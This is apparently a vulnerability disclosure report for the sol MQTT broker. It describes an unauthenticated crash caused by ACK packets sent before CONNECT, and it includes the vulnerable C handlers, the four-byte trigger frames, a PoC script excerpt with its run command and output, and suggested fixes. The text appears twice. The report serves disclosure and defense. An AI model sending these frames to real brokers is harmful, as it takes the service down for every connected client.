1. Report Metadata
| Field |
Value |
| Project |
sol |
| Project description |
MQTT v3.1.1 broker |
| Vulnerability title |
Unauthenticated NULL pointer dereference via pre-CONNECT MQTT ACK packets |
| Affected component |
MQTT packet dispatch and ACK handlers |
| Affected role |
MQTT broker/server |
| Tested revision |
373d84877d22031b45a7f3599297f691eab09230 (373d848), 2024-12-12 |
| Project version in CMake |
0.18.5 |
| Discovery / report date |
2026-06-16 |
| Vulnerability type |
Memory safety / denial of service |
| Verified PoC |
poc_unauth_puback_dos.py |
| Trigger packet |
MQTT PUBACK before CONNECT, bytes 40 02 00 01 |
2. Executive Summary
sol is vulnerable to an unauthenticated remote denial of service in its MQTT broker packet-processing state machine. A newly accepted client is initialized with client->connected = false and client->session = NULL. However, the packet parsing and dispatch path accepts MQTT packet types other than CONNECT as the first packet and dispatches them directly to their handlers without verifying that the client has completed a successful MQTT CONNECT handshake or that client->session is non-NULL.
An unauthenticated remote client can connect to the broker and send a single MQTT PUBACK packet as the first frame, without sending CONNECT. The broker dispatches this packet to puback_handler, which dereferences c->session->i_msgs[pkt_id]. Because c->session is still NULL, the broker receives SIGSEGV and the entire process exits. This was reproduced locally against sol 0.18.5 at commit 373d84877d22031b45a7f3599297f691eab09230.
The issue is not dependent on the authentication configuration. It is reachable before authentication, before a session exists, and before the MQTT connection state is established.
4. Affected Scope
4.1 Affected role
The affected component is the MQTT broker/server role. The vulnerable path is:
TCP client connects
-> client_init initializes session = NULL and connected = false
-> client sends PUBACK/PUBREC/PUBCOMP before CONNECT
-> recv_packet accepts packet type
-> process_message calls mqtt_unpack and handle_command
-> puback_handler/pubrec_handler/pubcomp_handler dereferences c->session
-> SIGSEGV
4.2 Authentication and configuration requirements
No authentication is required. The attack is performed before the MQTT CONNECT packet and before username/password validation. The issue is independent of allow_anonymous; even deployments that require authentication can be crashed before the authentication path is reached.
4.3 Network exposure
Any network-exposed sol broker TCP listener is potentially affected. The PoC was verified against a local listener on 127.0.0.1:1883, but the trigger is a normal TCP connection followed by a minimal MQTT frame and does not rely on local access.
6. Technical Root Cause
The root cause is a missing MQTT connection/session state check before dispatching packets whose handlers assume a valid client_session.
6.1 New clients start without a session
When a TCP connection is accepted, client_init marks the client as not connected and explicitly sets client->session = NULL:
// src/server.c:381-404
static void client_init(struct client *client)
{
client->online = true;
client->connected = false;
client->clean_session = true;
client->client_id[0] = '\0';
client->status = WAITING_HEADER;
client->rc = 0;
client->rpos = ATOMIC_VAR_INIT(0);
client->read = ATOMIC_VAR_INIT(0);
client->toread = ATOMIC_VAR_INIT(0);
if (!client->rbuf)
client->rbuf =
try_calloc(conf->max_request_size, sizeof(unsigned char));
client->wrote = ATOMIC_VAR_INIT(0);
client->towrite = ATOMIC_VAR_INIT(0);
if (!client->wbuf)
client->wbuf =
try_calloc(conf->max_request_size, sizeof(unsigned char));
client->last_seen = time(NULL);
client->has_lwt = false;
client->session = NULL;
pthread_mutex_init(&client->mutex, NULL);
}
The session is later created only in the successful connect_handler path.
6.2 Packet parsing accepts non-CONNECT packet types before connection establishment
The fixed-header validation checks only that the MQTT packet type is in the numeric range CONNECT through DISCONNECT:
// src/server.c:503-566
if (c->status == WAITING_LENGTH) {
if (c->read == 2) {
opcode = *c->rbuf >> 4;
/*
* Check for OPCODE, if an unknown OPCODE is received return an
* error
*/
if (DISCONNECT < opcode || CONNECT > opcode)
return -ERRPACKETERR;
/*
* We have a PINGRESP/PINGREQ or a DISCONNECT packet, we're done
* here
*/
if (opcode > UNSUBSCRIBE) {
c->rpos = 2;
c->toread = c->read;
goto exit;
}
}
...
pktlen = mqtt_decode_length(c->rbuf + 1, &pos);
...
c->rpos = pos + 1;
c->toread = pktlen + pos + 1; // pos = bytes used to store length
/* Looks like we got an ACK packet, we're done reading */
if (pktlen <= 4)
goto exit;
This logic does not require the first MQTT control packet to be CONNECT, nor does it check c->connected before accepting ACK-class packets.
6.3 Dispatch does not enforce connected/session state
After parsing, process_message unpacks and dispatches the packet based only on the packet type:
// src/server.c:858-897
static void process_message(struct ev_ctx *ctx, struct client *c)
{
struct io_event io = {.client = c};
/*
* Unpack received bytes into a mqtt_packet structure and execute the
* correct handler based on the type of the operation.
*/
mqtt_unpack(c->rbuf + c->rpos, &io.data, *c->rbuf, c->read - c->rpos);
c->toread = c->read = c->rpos = 0;
c->rc = handle_command(io.data.header.bits.type, &io);
switch (c->rc) {
case REPLY:
case MQTT_NOT_AUTHORIZED:
case MQTT_BAD_USERNAME_OR_PASSWORD:
enqueue_event_write(c);
if (io.data.header.bits.type != PUBLISH)
mqtt_packet_destroy(&io.data);
break;
...
default:
c->status = WAITING_HEADER;
if (io.data.header.bits.type != PUBLISH)
mqtt_packet_destroy(&io.data);
break;
}
}
handle_command directly indexes the handler table and invokes the corresponding handler:
// src/handlers.c:873-880
/*
* This is the only public API we expose from this module beside
* publish_message. It just give access to handlers mapped by message type.
*/
int handle_command(unsigned type, struct io_event *event)
{
return handlers[type](event);
}
There is no check that event->client->connected == true or that event->client->session != NULL before invoking session-dependent handlers.
6.4 ACK handlers dereference c->session unconditionally
puback_handler assumes that the client has an active session and inflight message table:
// src/handlers.c:785-801
static int puback_handler(struct io_event *e)
{
struct client *c = e->client;
unsigned pkt_id = e->data.ack.pkt_id;
log_debug("Received PUBACK from %s (m%u)", c->client_id, pkt_id);
#if THREADSNR > 0
pthread_mutex_lock(&c->mutex);
#endif
inflight_msg_clear(&c->session->i_msgs[pkt_id]);
c->session->i_msgs[pkt_id].packet = NULL;
c->session->i_acks[pkt_id] = -1;
--c->session->inflights;
#if THREADSNR > 0
pthread_mutex_unlock(&c->mutex);
#endif
return NOREPLY;
}
The same issue exists in pubrec_handler:
// src/handlers.c:803-819
static int pubrec_handler(struct io_event *e)
{
struct client *c = e->client;
unsigned pkt_id = e->data.ack.pkt_id;
log_debug("Received PUBREC from %s (m%u)", c->client_id, pkt_id);
#if THREADSNR > 0
pthread_mutex_lock(&c->mutex);
#endif
mqtt_pack_mono(c->wbuf + c->towrite, PUBREL, pkt_id);
c->towrite += MQTT_ACK_LEN;
#if THREADSNR > 0
pthread_mutex_unlock(&c->mutex);
#endif
// Update inflight acks table
c->session->i_acks[pkt_id] = time(NULL);
log_debug("Sending PUBREL to %s (m%u)", c->client_id, pkt_id);
return REPLY;
}
And in pubcomp_handler:
// src/handlers.c:839-855
static int pubcomp_handler(struct io_event *e)
{
struct client *c = e->client;
unsigned pkt_id = e->data.ack.pkt_id;
log_debug("Received PUBCOMP from %s (m%u)", c->client_id, pkt_id);
#if THREADSNR > 0
pthread_mutex_lock(&c->mutex);
#endif
c->session->i_acks[pkt_id] = -1;
inflight_msg_clear(&c->session->i_msgs[pkt_id]);
c->session->i_msgs[pkt_id].packet = NULL;
--c->session->inflights;
#if THREADSNR > 0
pthread_mutex_unlock(&c->mutex);
#endif
return NOREPLY;
}
When these handlers run before a successful CONNECT, c->session is NULL and the process crashes.
7. Trigger Sequence
A minimal trigger uses the following steps:
1. Attacker opens a TCP connection to the sol broker.
2. Attacker does not send MQTT CONNECT.
3. Attacker sends a four-byte MQTT PUBACK packet:
40 02 00 01
0x40 = MQTT PUBACK fixed-header byte
0x02 = remaining length: 2 bytes
0x00 0x01 = packet identifier: 1
4. sol accepts the packet type and dispatches it to puback_handler.
5. puback_handler executes c->session->i_msgs[1] while c->session is NULL.
6. The broker process receives SIGSEGV and exits.
Equivalent triggers also exist with pre-CONNECT PUBREC and PUBCOMP packets:
PUBREC: 50 02 00 01
PUBCOMP: 70 02 00 01
8. Proof of Concept
8.1 PoC location
The verified PoC is located at:
The PoC connects to the broker, sends a pre-CONNECT PUBACK by default, and then probes whether the broker still accepts TCP connections.
8.2 PoC excerpt
# poc_unauth_puback_dos.py:8-12
MQTT_FRAMES = {
"puback": bytes([0x40, 0x02, 0x00, 0x01]),
"pubrec": bytes([0x50, 0x02, 0x00, 0x01]),
"pubcomp": bytes([0x70, 0x02, 0x00, 0x01]),
}
# poc_unauth_puback_dos.py:56-89
try:
s = connect_once(args.host, args.port, args.timeout)
except OSError as e:
print(f"[-] could not connect to target: {e}")
return 2
try:
s.sendall(frame)
if args.linger > 0:
time.sleep(args.linger)
except OSError as e:
print(f"[-] send failed: {e}")
s.close()
return 2
finally:
try:
s.close()
except OSError:
pass
print("[+] malformed state-machine input was sent successfully")
print("[*] vulnerable sol builds dereference client->session while it is still NULL")
if args.no_probe:
return 0
time.sleep(args.probe_delay)
alive = probe_port(args.host, args.port, args.timeout)
if alive:
print("[-] target still accepts TCP connections; it may be patched, supervised/restarted, or the crash was not observed")
return 1
print("[+] target no longer accepts TCP connections")
print("[+] VULNERABILITY REPRODUCED: unauthenticated single-packet DoS")
return 0
9. Reproduction Steps
9.1 Build sol
From the sol repository root:
This build was verified successfully and produced ./sol.
9.2 Start the broker
The verified broker startup output included:
Sol v0.18.5 is starting
Network settings:
Socket family: TCP
Address: 127.0.0.1
Port: 1883
Event loop backend: epoll
Server start
9.3 Run the PoC
In a second terminal:
python3 poc_unauth_puback_dos.py 127.0.0.1 1883 --probe-delay 2
Observed PoC output:
[*] sol unauthenticated pre-CONNECT ACK DoS PoC
[*] target: 127.0.0.1:1883
[*] sending MQTT PUBACK before CONNECT
[*] frame: 40 02 00 01
[+] malformed state-machine input was sent successfully
[*] vulnerable sol builds dereference client->session while it is still NULL
[+] target no longer accepts TCP connections
[+] VULNERABILITY REPRODUCED: unauthenticated single-packet DoS
Observed broker output:
Connection from 127.0.0.1:49166
Received PUBACK from (m1)
Segmentation fault (core dumped)
Exit code: 139
The environment printed the localized message 段错误 (核心已转储), which corresponds to Segmentation fault (core dumped).
10. Impact
10.1 Availability
The primary impact is complete broker process termination. Because the broker process exits, all connected clients lose service, and new clients cannot connect until the broker is restarted by an operator or supervisor.
10.2 Confidentiality and integrity
The demonstrated issue is an availability vulnerability. No confidentiality or integrity impact is required for the crash trigger.
10.3 Reliability
The trigger is deterministic in the tested build. It requires only a TCP connection and a single four-byte MQTT packet. It does not require authentication, a valid client ID, a prior subscription, an existing session, or a specific broker configuration.
11. Suggested Remediation
Several complementary changes would address this class of issue.
11.1 Enforce MQTT connection state before dispatch
Before dispatching a packet to a handler, reject packets from clients that have not completed CONNECT, unless the packet type is CONNECT itself. For example, in or before handle_command / process_message:
if (!c->connected && io.data.header.bits.type != CONNECT) {
return -ERRCLIENTDC;
}
The exact error handling can follow the project's existing disconnect path, but the important property is that pre-CONNECT packets must not reach session-dependent handlers.
11.2 Add defensive session checks in handlers
Handlers that require an established session should explicitly verify c->session != NULL before dereferencing it:
if (c->session == NULL) {
return -ERRCLIENTDC;
}
This provides defense in depth in case future dispatch paths accidentally call these handlers before a session is initialized.
11.3 Validate MQTT control-packet ordering
MQTT brokers should enforce protocol ordering rules. Before a client has successfully completed CONNECT, the broker should accept only CONNECT. Packets such as PUBACK, PUBREC, PUBREL, PUBCOMP, SUBSCRIBE, UNSUBSCRIBE, PUBLISH, PINGREQ, or DISCONNECT should not be processed as normal authenticated/session-bearing client traffic.
13. Additional Related State-Machine Concern
The same missing state-machine enforcement may also affect other packet types that assume an established MQTT session. For example, pre-CONNECT SUBSCRIBE was identified as another potential NULL-dereference path in the analysis because subscription handling can use the client's session data. The ACK-class packets are the smallest verified trigger because PUBACK is only four bytes and reliably reaches puback_handler.
Separately, when authentication is enabled (allow_anonymous=false), failure to close the connection after an authentication error may leave clients in an unauthenticated state that can still submit later packets. That appears to share the same root cause: missing checks on client->connected and client->session in the central dispatch path and individual [handlers.](
poc_unauth_puback_dos.py
)
1. Report Metadata
373d84877d22031b45a7f3599297f691eab09230(373d848), 2024-12-120.18.5poc_unauth_puback_dos.pyPUBACKbeforeCONNECT, bytes40 02 00 012. Executive Summary
sol is vulnerable to an unauthenticated remote denial of service in its MQTT broker packet-processing state machine. A newly accepted client is initialized with
client->connected = falseandclient->session = NULL. However, the packet parsing and dispatch path accepts MQTT packet types other thanCONNECTas the first packet and dispatches them directly to their handlers without verifying that the client has completed a successful MQTTCONNECThandshake or thatclient->sessionis non-NULL.An unauthenticated remote client can connect to the broker and send a single MQTT
PUBACKpacket as the first frame, without sendingCONNECT. The broker dispatches this packet topuback_handler, which dereferencesc->session->i_msgs[pkt_id]. Becausec->sessionis stillNULL, the broker receivesSIGSEGVand the entire process exits. This was reproduced locally against sol0.18.5at commit373d84877d22031b45a7f3599297f691eab09230.The issue is not dependent on the authentication configuration. It is reachable before authentication, before a session exists, and before the MQTT connection state is established.
4. Affected Scope
4.1 Affected role
The affected component is the MQTT broker/server role. The vulnerable path is:
4.2 Authentication and configuration requirements
No authentication is required. The attack is performed before the MQTT
CONNECTpacket and before username/password validation. The issue is independent ofallow_anonymous; even deployments that require authentication can be crashed before the authentication path is reached.4.3 Network exposure
Any network-exposed sol broker TCP listener is potentially affected. The PoC was verified against a local listener on
127.0.0.1:1883, but the trigger is a normal TCP connection followed by a minimal MQTT frame and does not rely on local access.6. Technical Root Cause
The root cause is a missing MQTT connection/session state check before dispatching packets whose handlers assume a valid
client_session.6.1 New clients start without a session
When a TCP connection is accepted,
client_initmarks the client as not connected and explicitly setsclient->session = NULL:The session is later created only in the successful
connect_handlerpath.6.2 Packet parsing accepts non-CONNECT packet types before connection establishment
The fixed-header validation checks only that the MQTT packet type is in the numeric range
CONNECTthroughDISCONNECT:This logic does not require the first MQTT control packet to be
CONNECT, nor does it checkc->connectedbefore accepting ACK-class packets.6.3 Dispatch does not enforce connected/session state
After parsing,
process_messageunpacks and dispatches the packet based only on the packet type:handle_commanddirectly indexes the handler table and invokes the corresponding handler:There is no check that
event->client->connected == trueor thatevent->client->session != NULLbefore invoking session-dependent handlers.6.4 ACK handlers dereference
c->sessionunconditionallypuback_handlerassumes that the client has an active session and inflight message table:The same issue exists in
pubrec_handler:And in
pubcomp_handler:When these handlers run before a successful
CONNECT,c->sessionis NULL and the process crashes.7. Trigger Sequence
A minimal trigger uses the following steps:
Equivalent triggers also exist with pre-CONNECT
PUBRECandPUBCOMPpackets:8. Proof of Concept
8.1 PoC location
The verified PoC is located at:
The PoC connects to the broker, sends a pre-CONNECT
PUBACKby default, and then probes whether the broker still accepts TCP connections.8.2 PoC excerpt
9. Reproduction Steps
9.1 Build sol
From the sol repository root:
This build was verified successfully and produced
./sol.9.2 Start the broker
The verified broker startup output included:
9.3 Run the PoC
In a second terminal:
Observed PoC output:
Observed broker output:
The environment printed the localized message
段错误 (核心已转储), which corresponds toSegmentation fault (core dumped).10. Impact
10.1 Availability
The primary impact is complete broker process termination. Because the broker process exits, all connected clients lose service, and new clients cannot connect until the broker is restarted by an operator or supervisor.
10.2 Confidentiality and integrity
The demonstrated issue is an availability vulnerability. No confidentiality or integrity impact is required for the crash trigger.
10.3 Reliability
The trigger is deterministic in the tested build. It requires only a TCP connection and a single four-byte MQTT packet. It does not require authentication, a valid client ID, a prior subscription, an existing session, or a specific broker configuration.
11. Suggested Remediation
Several complementary changes would address this class of issue.
11.1 Enforce MQTT connection state before dispatch
Before dispatching a packet to a handler, reject packets from clients that have not completed
CONNECT, unless the packet type isCONNECTitself. For example, in or beforehandle_command/process_message:The exact error handling can follow the project's existing disconnect path, but the important property is that pre-CONNECT packets must not reach session-dependent handlers.
11.2 Add defensive session checks in handlers
Handlers that require an established session should explicitly verify
c->session != NULLbefore dereferencing it:This provides defense in depth in case future dispatch paths accidentally call these handlers before a session is initialized.
11.3 Validate MQTT control-packet ordering
MQTT brokers should enforce protocol ordering rules. Before a client has successfully completed
CONNECT, the broker should accept onlyCONNECT. Packets such asPUBACK,PUBREC,PUBREL,PUBCOMP,SUBSCRIBE,UNSUBSCRIBE,PUBLISH,PINGREQ, orDISCONNECTshould not be processed as normal authenticated/session-bearing client traffic.13. Additional Related State-Machine Concern
The same missing state-machine enforcement may also affect other packet types that assume an established MQTT session. For example, pre-CONNECT
SUBSCRIBEwas identified as another potential NULL-dereference path in the analysis because subscription handling can use the client's session data. The ACK-class packets are the smallest verified trigger becausePUBACKis only four bytes and reliably reachespuback_handler.Separately, when authentication is enabled (
allow_anonymous=false), failure to close the connection after an authentication error may leave clients in an unauthenticated state that can still submit later packets. That appears to share the same root cause: missing checks onclient->connectedandclient->sessionin the central dispatch path and individual [handlers.](poc_unauth_puback_dos.py
)